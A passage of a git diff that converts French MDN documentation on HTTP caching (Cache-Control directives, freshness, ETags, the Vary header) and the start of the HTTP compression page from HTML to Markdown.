contenu en cache. -<h3 id="Caches_de_proxy_partagés">Caches de proxy partagés</h3> +### Caches de proxy partagés -<p>Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence.</p> +Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence. -<h2 id="Cibles_des_opérations_de_cache">Cibles des opérations de cache</h2> +## Cibles des opérations de cache -<p>La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache :</p> +La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache : -<ul> - <li>Résultat positif de requête de lecture : une réponse {{HTTPStatus(200)}} (OK) à une requête {{HTTPMethod("GET")}} contenant une ressource telle qu’un document HTML, une image ou un fichier.</li> - <li>Redirection permanente : une réponse {{HTTPStatus(301)}} <em>(Moved Permanently).</em></li> - <li>Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} <em>(Not Found)</em>.</li> - <li>Résultat incomplet : une réponse {{HTTPStatus(206)}} <em>(Partial Content)</em>.</li> - <li>Réponses autres que {{HTTPMethod("GET")}} si quelque chose est défini comme pouvant être utilisé comme clé de cache.</li> -</ul> +- Résultat positif de requête de lecture : une réponse {{HTTPStatus(200)}} (OK) à une requête {{HTTPMethod("GET")}} contenant une ressource telle qu’un document HTML, une image ou un fichier. +- Redirection permanente : une réponse {{HTTPStatus(301)}} _(Moved Permanently)._ +- Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} _(Not Found)_. +- Résultat incomplet : une réponse {{HTTPStatus(206)}} _(Partial Content)_. +- Réponses autres que {{HTTPMethod("GET")}} si quelque chose est défini comme pouvant être utilisé comme clé de cache. -<p>Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} <a href="#Varying_responses">ci-dessous</a>.</p> +Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} [ci-dessous](#Varying_responses). -<h2 id="Contrôle_de_la_mise_en_cache">Contrôle de la mise en cache</h2> +## Contrôle de la mise en cache -<h3 id="L'en-tête_Cache-control">L'en-tête Cache-control</h3> +### L'en-tête Cache-control -<p>Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies.</p> +Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies. -<h4 id="Pas_du_tout_de_cache_mémoire">Pas du tout de cache mémoire</h4> +#### Pas du tout de cache mémoire -<p>Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur. Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois.</p> +Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur. Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois. -<pre>Cache-Control: no-store -Cache-Control: no-cache, no-store, must-revalidate -</pre> + Cache-Control: no-store + Cache-Control: no-cache, no-store, must-revalidate -<h4 id="Pas_de_cache">Pas de cache</h4> +#### Pas de cache -<p>Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache.</p> +Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache. -<pre>Cache-Control: no-cache</pre> + Cache-Control: no-cache -<h4 id="Caches_privées_et_publiques">Caches privées et publiques</h4> +#### Caches privées et publiques -<p>La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache. Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache. En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé. Un cache de navigateur privé peut stocker la réponse dans ce cas.</p> +La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache. Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache. En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé. Un cache de navigateur privé peut stocker la réponse dans ce cas. -<pre>Cache-Control: private -Cache-Control: public -</pre> + Cache-Control: private + Cache-Control: public -<h4 id="Expiration">Expiration</h4> +#### Expiration -<p>La directive la plus importante ici est "max-age = <secondes>", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle. Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande. Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive. Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple.</p> +La directive la plus importante ici est "max-age = \<secondes>", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle. Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande. Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive. Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple. -<p>Pour plus de détails, voir aussi la section <a href="#Freshness">Freshness</a> ci-dessous..</p> +Pour plus de détails, voir aussi la section [Freshness](#Freshness) ci-dessous.. -<pre>Cache-Control: max-age=31536000</pre> + Cache-Control: max-age=31536000 -<h4 id="Validation">Validation</h4> +#### Validation -<p>Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section <a href="#Cache_validation">Validation</a> ci-dessous.</p> +Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section [Validation](#Cache_validation) ci-dessous. -<pre>Cache-Control: must-revalidate</pre> + Cache-Control: must-revalidate -<h3 id="L'en-têtePragma">L'en-tête<code>Pragma</code></h3> +### L'en-tête`Pragma` -<p>{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête. Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0.</p> +{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête. Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0. -<h2 id="Fraîcheur_(Freshness)">Fraîcheur (Freshness)</h2> +## Fraîcheur (Freshness) -<p>Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("<em>cache eviction"</em>). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour. Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness); Aprés son expiration, elle est considérée périmée (<em>stale</em>). Les algoritmes d'éviction privilégient souvent les ressources fraîches. Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante.</p> +Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("_cache eviction"_). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour. Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness); Aprés son expiration, elle est considérée périmée (_stale_). Les algoritmes d'éviction privilégient souvent les ressources fraîches. Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante. -<p>Ici un exemple de ce processus avec un cache de proxy partagé :</p> +Ici un exemple de ce processus avec un cache de proxy partagé : -<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="http_staleness.png"></p> +![Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.](http_staleness.png) -<p>Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "<code>Cache-control: max-age=N</code>" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas), on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce <code>Expires</code> existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête <code>Date</code> moins la valeur de l'en-tête <code>Last-modified</code> divisée par 10.</p> +Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "`Cache-control: max-age=N`" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas), on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce `Expires` existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête `Date` moins la valeur de l'en-tête `Last-modified` divisée par 10. -<p>Le temps d'expiration s'organise comme ceci :</p> +Le temps d'expiration s'organise comme ceci : -<pre>expirationTime = responseTime + freshnessLifetime - currentAge -</pre> + expirationTime = responseTime + freshnessLifetime - currentAge -<p>Où <code>responseTime</code> est le moment auquel a été reçue la réponse selon le navigateur.</p> +Où `responseTime` est le moment auquel a été reçue la réponse selon le navigateur. -<h3 id="Ressources_revues_et_corrigées">Ressources revues et corrigées</h3> +### Ressources revues et corrigées -<p>Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web. Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur. C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement. Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web : les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite.</p> +Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web. Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur. C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement. Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web : les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite. -<p>Les développeurs Web ont inventé une technique que Steve Sounders a appelée <em>revving</em> (<a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">source</a>). Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web. Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi.</p> +Les développeurs Web ont inventé une technique que Steve Sounders a appelée _revving_ ([source](https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)). Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web. Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi. -<p>Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML.</p> +Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML. -<p><img alt="How the revved cache mechanism works." src="http_revved_fix_typo.png"></p> +![How the revved cache mechanism works.](http_revved_fix_typo.png) -<p>La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme 1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date.</p> +La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme 1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date. -<h2 id="Validation_de_cache">Validation de cache</h2> +## Validation de cache -<p>La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête "<code>Cache-control: must-revalidate</code>". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans<code> Advanced->Cache</code> . Il y a une option pour forcer la validation chaque fois qu'un document est chargé.</p> +La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête "`Cache-control: must-revalidate`". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans` Advanced->Cache` . Il y a une option pour forcer la validation chaque fois qu'un document est chargé. -<p>Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort <em>(strong validator</em>) soit un faible (<em>weak validator</em>).</p> +Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort _(strong validator_) soit un faible (_weak validator_). -<h3 id="ETags">ETags</h3> +### ETags -<p>L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "<em>opaque-to-the-user agent" </em> qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête <code>ETag</code> est une partie de la réponse pour une ressource, le client peut délivrer un {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache.</p> +L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "*opaque-to-the-user agent"* qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête `ETag` est une partie de la réponse pour une ressource, le client peut délivrer un {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache. -<p>L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête <code>Last-Modified</code> est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache.</p> +L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête `Last-Modified` est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache. -<p>Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal {{HTTPStatus(200)}} <code>OK</code>, ou bien retourner un statut {{HTTPStatus(304)}} <code>Not Modified</code> (avec un corps de réponse vide) pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache.</p> +Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal {{HTTPStatus(200)}} `OK`, ou bien retourner un statut {{HTTPStatus(304)}} `Not Modified` (avec un corps de réponse vide) pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache. -<h2 id="Varier_les_réponses">Varier les réponses</h2> +## Varier les réponses -<p>L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine.</p> +L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine. -<p>Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête <code>Vary</code> il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête <code>Vary</code> ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête.</p> +Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête `Vary` il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête `Vary` ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête. -<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="http_vary.png"></p> +![The Vary header leads cache to use more HTTP headers as key for the cache.](http_vary.png) -<p>Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête <code>Vary: User-Agent</code>, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" (<a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>) n'est à craindre.</p> +Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête `Vary: User-Agent`, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" ([Cloaking](https://en.wikipedia.org/wiki/Cloaking)) n'est à craindre. -<pre>Vary: User-Agent</pre> + Vary: User-Agent -<p>Parce que la valeur d'en-tête {{HTTPHeader("User-Agent")}} est différente ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa.</p> +Parce que la valeur d'en-tête {{HTTPHeader("User-Agent")}} est différente ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li> - <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li> - <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li> - <li><a href="https://redbot.org/">RedBot</a>, un outli pour vérifier vos en-têtes HTTP relatives au cache.</li> -</ul> +- [RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching](https://tools.ietf.org/html/rfc7234) +- [Caching Tutorial – Mark Nottingham](https://www.mnot.net/cache_docs) +- [HTTP caching – Ilya Grigorik](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching) +- [RedBot](https://redbot.org/), un outli pour vérifier vos en-têtes HTTP relatives au cache. diff --git a/files/fr/web/http/compression/index.md b/files/fr/web/http/compression/index.md index 49b4794212..e40a6ee4db 100644 --- a/files/fr/web/http/compression/index.md +++ b/files/fr/web/http/compression/index.md @@ -7,63 +7,57 @@ tags: - compression translation_of: Web/HTTP/Compression --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La compression est une méthode importante pour accroitre les performances d'un site web. Pour certaines pages, la réduction de la taille des éléments économise jusqu'à 70 % de la bande passante. Les algorithmes de compression s'améliorent d'années en années, les nouveaux algorithmes étant supportés à la fois par les serveurs et les clients.</p> +La compression est une méthode importante pour accroitre les performances d'un site web. Pour certaines pages, la réduction de la taille des éléments économise jusqu'à 70 % de la bande passante. Les algorithmes de compression s'améliorent d'années en années, les nouveaux algorithmes étant supportés à la fois par les serveurs et les clients. -<p>En réalité, les développeurs web n'ont pas besoin d'implémenter des mécanismes de compression puisqu'ils sont déjà intégrés à la fois aux navigateurs et dans les serveurs. Il convient néanmoins de s'assurer de la configuration correcte du serveur web. La compression s'effectue à trois niveaux différents :</p> +En réalité, les développeurs web n'ont pas besoin d'implémenter des mécanismes de compression puisqu'ils sont déjà intégrés à la fois aux navigateurs et dans les serveurs. Il convient néanmoins de s'assurer de la configuration correcte du serveur web. La compression s'effectue à trois niveaux différents : -<ul> - <li>Tout d'abord certains formats de fichiers sont compressés à l'aide de méthodes optimisées,</li> - <li>ensuite, la compression s'effectue au niveau du protocole HTTP (la ressource est transmise de manière compressée de bout en bout),</li> - <li>enfin la compression peut s'appliquer au niveau des connexions entre deux nœuds d'une connexion HTTP.</li> -</ul> +- Tout d'abord certains formats de fichiers sont compressés à l'aide de méthodes optimisées, +- ensuite, la compression s'effectue au niveau du protocole HTTP (la ressource est transmise de manière compressée de bout en bout), +- enfin la compression peut s'appliquer au niveau des connexions entre deux nœuds d'une connexion HTTP. -<h2 id="Fichiers_au_format_compressé">Fichiers au format compressé</h2> +## Fichiers au format compressé -<p>Chaque type de donnée possède des redondances intrinsèques, ce qui signifie que l'utilisation de l'espace n'est pas optimisée. Ainsi dans les fichiers texte, l'espace ainsi perdu peut représenter environ 60 %, pour les fichiers multimédias, la redondance peut s'avérer beaucoup plus élevée. Étant donné que la contrainte de taille élevée est apparue dès le début pour ces types de fichiers, les ingénieurs ont conçu des algorithmes spécifiques à chaque format. Les algorithmes de compression utilisés pour les fichiers peuvent être groupés en deux catégories :</p> +Chaque type de donnée possède des redondances intrinsèques, ce qui signifie que l'utilisation de l'espace n'est pas optimisée. Ainsi dans les fichiers texte, l'espace ainsi perdu peut représenter environ 60 %, pour les fichiers multimédias, la redondance peut s'avérer beaucoup plus élevée. Étant donné que la contrainte de taille élevée est apparue dès le début pour ces types de fichiers, les ingénieurs ont conçu des algorithmes spécifiques à chaque format. Les algorithmes de compression utilisés pour les fichiers peuvent être groupés en deux catégories : -<ul> - <li><em>Compression sans perte</em>, le cycle compression/décompression ne modifie pas les données. Les données ainsi décompressées correspondent à l'octet près à l'original.<br> - Pour les images, <code>gif</code> ou <code>png</code> utilisent une compression sans perte.</li> - <li><em>Compression avec pertes</em>, le cycle de compression modifie la donnée originale de façon peu perceptible pour l'utilisateur.<br> - Les formats vidéos sur le Web sont des exemples de formats intégrant une compression avec pertes, pour les images <code>jpeg</code> est un format avec pertes.</li> -</ul> +- _Compression sans perte_, le cycle compression/décompression ne modifie pas les données. Les données ainsi décompressées correspondent à l'octet près à l'original. + Pour les images, `gif` ou `png` utilisent une compression sans perte. +- _Compression avec pertes_, le cycle de compression modifie la donnée originale de façon peu perceptible pour l'utilisateur. + Les formats vidéos sur le Web sont des exemples de formats intégrant une compression avec pertes, pour les images `jpeg` est un format avec pertes. -<p>Certains formats peuvent être utilisés à la fois pour une compression sans perte ou avec pertes tel que <code>webp</code>. L'algorithme de compression peut être configuré pour une compression plus ou moins élevée, ce qui influe sur le niveau de qualité en sortie. Afin d'optimiser les performances, il convient de compresser au maximum tout en conservant un niveau de qualité acceptable. Pour les images, selon le logiciel qui a permis sa création, il se peut que l'image ne soit pas compressée suffisamment pour le Web. Il est recommandé d'utiliser des logiciels permettant la compression au maximum. Il existe de <a href="https://www.creativebloq.com/design/image-compression-tools-1132865">nombreux outils spécialisés</a> pour cet usage.</p> +Certains formats peuvent être utilisés à la fois pour une compression sans perte ou avec pertes tel que `webp`. L'algorithme de compression peut être configuré pour une compression plus ou moins élevée, ce qui influe sur le niveau de qualité en sortie. Afin d'optimiser les performances, il convient de compresser au maximum tout en conservant un niveau de qualité acceptable. Pour les images, selon le logiciel qui a permis sa création, il se peut que l'image ne soit pas compressée suffisamment pour le Web. Il est recommandé d'utiliser des logiciels permettant la compression au maximum. Il existe de [nombreux outils spécialisés](https://www.creativebloq.com/design/image-compression-tools-1132865) pour cet usage. -<p>Les algorithmes de compression avec pertes sont généralement plus performants que les algorithmes de compression sans perte.</p> +Les algorithmes de compression avec pertes sont généralement plus performants que les algorithmes de compression sans perte. -<div class="note"> -<p><strong>Note :</strong> Puisque certains types de fichiers gèrent nativement la compression, il est souvent inutile de les compresser une seconde fois. En réalité, cela s'avère souvent contre-productif de par la taille induite par les données additionnelles nécessaires (lors de la compression, un dictionnaire de données est généré) le fichier en sortie est alors plus gros que celui avant compression. Veillez à ne pas utiliser les techniques suivantes pour les fichiers au format compressé.</p> -</div> +> **Note :** Puisque certains types de fichiers gèrent nativement la compression, il est souvent inutile de les compresser une seconde fois. En réalité, cela s'avère souvent contre-productif de par la taille induite par les données additionnelles nécessaires (lors de la compression, un dictionnaire de données est généré) le fichier en sortie est alors plus gros que celui avant compression. Veillez à ne pas utiliser les techniques suivantes pour les fichiers au format compressé. -<h2 id="Compression_de_bout_en_bout">Compression de bout en bout</h2> +## Compression de bout en bout -<p>La compression de bout en bout constitue la compression permettant le plus de gain de performances pour le Web. La compression de bout en bout est définie par la compression du corps du message qui est effectuée par le serveur et ne sera modifié qu'une fois arrivé à destination par le client. Les étapes lors du transport laissent la charge utile inchangée.</p> +La compression de bout en bout constitue la compression permettant le plus de gain de performances pour le Web. La compression de bout en bout est définie par la compression du corps du message qui est effectuée par le serveur et ne sera modifié qu'une fois arrivé à destination par le client. Les étapes lors du transport laissent la charge utile inchangée. -<p><img alt="Séquence du serveur au client mettant en œuvre la compression de bout en bout" src="httpenco1.png"></p> +![Séquence du serveur au client mettant en œuvre la compression de bout en bout](httpenco1.png) -<p>L'ensemble des navigateurs récents supportent la compression de bout en bout et le seul élément à échanger entre le serveur et le client est l'algorithme de compression à utiliser. Ces algorithmes sont optimisés pour le transport 